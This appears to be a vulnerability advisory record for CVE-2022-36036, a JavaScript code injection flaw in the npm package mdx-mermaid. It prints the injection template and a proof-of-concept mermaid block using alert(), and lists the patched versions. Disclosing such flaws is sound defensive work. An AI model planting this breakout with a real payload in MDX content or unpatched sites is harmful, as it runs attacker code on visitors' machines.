Improper Control of Generation of Code ('Code Injection') in mdx-mermaid
Date: 2022-08
Affected: npm/mdx-mermaid, npm/mdx-mermaid
Attack vector: rce
Category: vulnerability-disclosure
Severity: Low
CVE: CVE-2022-36036
CWE: CWE-94
CVSS: 3.6 (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N)

### Impact Arbitary javascript injection Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs ``` ` + (function () { // Put Javascript code here return '' }()) + ` ``` The block below shows a valid mermaid code block ````md ```mermaid graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` The same block but with the exploit added ````md ```mermaid ` + (function () { alert('vulnerable') return '' }()) + ` graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` ### Patches 1.3.0 and 2.0.0-rc2 ### Workarounds None known


Mitigations:

Architectural layers (MAESTRO):